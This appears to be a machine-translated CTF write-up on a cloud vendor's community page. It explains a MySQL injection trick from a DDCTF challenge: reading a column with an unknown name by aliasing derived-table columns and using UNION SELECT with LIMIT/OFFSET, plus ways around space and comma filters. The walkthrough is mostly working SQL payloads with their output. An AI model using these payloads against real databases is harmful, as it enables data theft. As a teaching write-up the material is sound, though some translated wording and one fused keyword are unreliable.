How Mysql cleverly bypasses unknown field names

Source: Internet
Author: User

How Mysql cleverly bypasses unknown field names

Preface

This article introduces the fifth topic of DDCTF, which is used to bypass unknown field names. Here we use this machine for operations. The idea is great and clear. Let's share it with you. Let's take a look at the detailed introduction below:

Implementation

Question Filtering: space and comma. % 0a, % 0b, % 0c, % 0d, % a0, or parentheses can be used directly. commas can be used to bypass join;

The field name for storing the flag is unknown. information_schema.columns also filters the hex of the table name, that is, the field name cannot be obtained. In this case, you can use the joint query procedure as follows:

The idea is to obtain the flag so that it appears under a known field name;

Sample Code:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| a | b | c | d |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;+---+-------+----------+-------------+| 1 | 2  | 3  | 4   |+---+-------+----------+-------------+| 1 | 2  | 3  | 4   || 1 | admin | admin888 | 110@110.com || 2 | test | test123 | 119@119.com || 3 | cs | cs123 | 120@120.com |+---+-------+----------+-------------+4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;+-------------+| 4   |+-------------+| 4   || 110@110.com || 119@119.com || 120@120.com |+-------------+4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+| 4   |+-------------+| 120@120.com |+-------------+1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)dunion select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;+-------------+----------+----------+-------------+| id   | username | password | email  |+-------------+----------+----------+-------------+| 1   | admin | admin888 | 110@110.com || 120@120.com | 1  | 1  | 1   |+-------------+----------+----------+-------------+2 rows in set (0.04 sec)

Summary

The above is all the content of this article. I hope the content of this article will help you in your study or work. If you have any questions, please leave a message, thank you for your support.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.